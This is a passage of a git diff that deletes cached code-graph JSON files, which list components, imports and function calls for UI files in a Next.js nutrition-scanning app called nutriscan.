"source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L11"}, {"caller_nid": "hooks_use_search_logic_usesearchlogic", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L13"}, {"caller_nid": "hooks_use_search_logic_usesearchlogic", "callee": "isValidBarcode", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L22"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/770ec76f43cdfa8309d600dd6ecbf4f04451f1e73fe4f338734592111052944c.json b/graphify-out/cache/ast/770ec76f43cdfa8309d600dd6ecbf4f04451f1e73fe4f338734592111052944c.json
deleted file mode 100644
index 53fb4c8..0000000
--- a/graphify-out/cache/ast/770ec76f43cdfa8309d600dd6ecbf4f04451f1e73fe4f338734592111052944c.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "label": "alert-dialog.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L1"}, {"id": "ui_alert_dialog_alertdialogoverlay", "label": "AlertDialogOverlay", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L15"}, {"id": "ui_alert_dialog_alertdialogcontent", "label": "AlertDialogContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L30"}, {"id": "ui_alert_dialog_alertdialogheader", "label": "AlertDialogHeader()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L48"}, {"id": "ui_alert_dialog_alertdialogfooter", "label": "AlertDialogFooter()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L62"}, {"id": "ui_alert_dialog_alertdialogtitle", "label": "AlertDialogTitle", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L76"}, {"id": "ui_alert_dialog_alertdialogdescription", "label": "AlertDialogDescription", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L88"}, {"id": "ui_alert_dialog_alertdialogaction", "label": "AlertDialogAction", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L101"}, {"id": "ui_alert_dialog_alertdialogcancel", "label": "AlertDialogCancel", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L113"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "react_alert_dialog", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_button_buttonvariants", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogoverlay", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L30", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogheader", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L48", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogfooter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L62", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogtitle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L76", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogdescription", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L88", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogaction", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L101", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "target": "ui_alert_dialog_alertdialogcancel", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L113", "weight": 1.0}], "raw_calls": [{"caller_nid": "ui_alert_dialog_alertdialogheader", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L53"}, {"caller_nid": "ui_alert_dialog_alertdialogfooter", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx", "source_location": "L67"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7989b25e57feefc261f850b29bc85ca138be46277f4ec9ece3f7f532c96c8f3e.json b/graphify-out/cache/ast/7989b25e57feefc261f850b29bc85ca138be46277f4ec9ece3f7f532c96c8f3e.json
deleted file mode 100644
index 8f7d4d6..0000000
--- a/graphify-out/cache/ast/7989b25e57feefc261f850b29bc85ca138be46277f4ec9ece3f7f532c96c8f3e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "label": "NutritionChart.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L1"}, {"id": "components_nutritionchart_nutritiondata", "label": "NutritionData", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L6"}, {"id": "components_nutritionchart_nutritionchartprops", "label": "NutritionChartProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L16"}, {"id": "components_nutritionchart_nutritionchart", "label": "NutritionChart()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L21"}, {"id": "components_nutritionchart_nutritionsummaryprops", "label": "NutritionSummaryProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L165"}, {"id": "components_nutritionchart_nutritionsummary", "label": "NutritionSummary()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L170"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "d_documents_github_nutriscan_components_ui_card_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "ui_card_card", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "ui_card_cardcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "ui_card_cardheader", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "ui_card_cardtitle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "d_documents_github_nutriscan_components_ui_badge_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "ui_badge_badge", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "components_nutritionchart_nutritiondata", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "components_nutritionchart_nutritionchartprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "components_nutritionchart_nutritionchart", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L21", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "components_nutritionchart_nutritionsummaryprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L165", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionchart_tsx", "target": "components_nutritionchart_nutritionsummary", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L170", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_nutritionchart_nutritionchart", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L102"}, {"caller_nid": "components_nutritionchart_nutritionsummary", "callee": "getNutritionScore", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L248"}, {"caller_nid": "components_nutritionchart_nutritionsummary", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L277"}, {"caller_nid": "components_nutritionchart_nutritionsummary", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L282"}, {"caller_nid": "components_nutritionchart_nutritionsummary", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L287"}, {"caller_nid": "components_nutritionchart_nutritionsummary", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx", "source_location": "L293"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/79c9c71bbf0f0f56cda98576f41ebd2844ec4972f69e43fec9b5e0d586d64a5c.json b/graphify-out/cache/ast/79c9c71bbf0f0f56cda98576f41ebd2844ec4972f69e43fec9b5e0d586d64a5c.json
deleted file mode 100644
index 45fb442..0000000
--- a/graphify-out/cache/ast/79c9c71bbf0f0f56cda98576f41ebd2844ec4972f69e43fec9b5e0d586d64a5c.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_slider_tsx", "label": "slider.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L1"}, {"id": "ui_slider_slider", "label": "Slider", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_slider_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_slider_tsx", "target": "react_slider", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_slider_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_slider_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_slider_tsx", "target": "ui_slider_slider", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx", "source_location": "L8", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7a7ac3a474baa899ad7ff6f0754db10acd7a9aa755b93eccf19097126656ebc4.json b/graphify-out/cache/ast/7a7ac3a474baa899ad7ff6f0754db10acd7a9aa755b93eccf19097126656ebc4.json
deleted file mode 100644
index eb8312a..0000000
--- a/graphify-out/cache/ast/7a7ac3a474baa899ad7ff6f0754db10acd7a9aa755b93eccf19097126656ebc4.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sitemap_ts", "label": "sitemap.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sitemap.ts", "source_location": "L1"}, {"id": "app_sitemap_sitemap", "label": "sitemap()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sitemap.ts", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_app_sitemap_ts", "target": "next", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sitemap.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sitemap_ts", "target": "app_sitemap_sitemap", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sitemap.ts", "source_location": "L3", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7b28885c24413f18e5f1deabfec2421746aeca9450f9f9dc67bbe322bd257774.json b/graphify-out/cache/ast/7b28885c24413f18e5f1deabfec2421746aeca9450f9f9dc67bbe322bd257774.json
deleted file mode 100644
index 3d0beca..0000000
--- a/graphify-out/cache/ast/7b28885c24413f18e5f1deabfec2421746aeca9450f9f9dc67bbe322bd257774.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_label_tsx", "label": "label.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L1"}, {"id": "ui_label_labelvariants", "label": "labelVariants", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L9"}, {"id": "ui_label_label", "label": "Label", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L13"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "react_label", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "class_variance_authority", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "ui_label_labelvariants", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_label_tsx", "target": "ui_label_label", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx", "source_location": "L13", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7c84cbb3d00368356d96be60c0449802e9ba0c4e117708f803749842759069e2.json b/graphify-out/cache/ast/7c84cbb3d00368356d96be60c0449802e9ba0c4e117708f803749842759069e2.json
deleted file mode 100644
index 9294199..0000000
--- a/graphify-out/cache/ast/7c84cbb3d00368356d96be60c0449802e9ba0c4e117708f803749842759069e2.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_page_tsx", "label": "page.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L1"}, {"id": "app_page_home", "label": "Home()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L9"}], "edges": [{"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_header_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "components_header_header", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_footer_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "components_footer_footer", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "landing_hero_hero", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_landing_features_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "landing_features_features", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "landing_howitworks_howitworks", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_landing_donationsection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "landing_donationsection_donationsection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "d_documents_github_nutriscan_app_components_landing_trustbadges_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "landing_trustbadges_trustbadges", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_page_tsx", "target": "app_page_home", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\page.tsx", "source_location": "L9", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7ed84abdccc145edb747f6e8c268b57cd992dfba03b2313def6f5de70634b780.json b/graphify-out/cache/ast/7ed84abdccc145edb747f6e8c268b57cd992dfba03b2313def6f5de70634b780.json
deleted file mode 100644
index 92f5404..0000000
--- a/graphify-out/cache/ast/7ed84abdccc145edb747f6e8c268b57cd992dfba03b2313def6f5de70634b780.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "label": "ProductSkeleton.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L1"}, {"id": "components_productskeleton_skeletonprops", "label": "SkeletonProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L4"}, {"id": "components_productskeleton_skeleton", "label": "Skeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L6"}, {"id": "components_productskeleton_productskeleton", "label": "ProductSkeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L17"}, {"id": "components_productskeleton_productcardskeleton", "label": "ProductCardSkeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L83"}, {"id": "components_productskeleton_nutritionbarskeleton", "label": "NutritionBarSkeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L104"}, {"id": "components_productskeleton_badgeskeleton", "label": "BadgeSkeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L116"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_skeletonprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_skeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_productskeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_productcardskeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L83", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_nutritionbarskeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L104", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "target": "components_productskeleton_badgeskeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L116", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_productskeleton_skeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L9"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L19"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L38"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L50"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L61"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "Array", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L61"}, {"caller_nid": "components_productskeleton_productskeleton", "callee": "map", "is_member_call": true, "source_file": 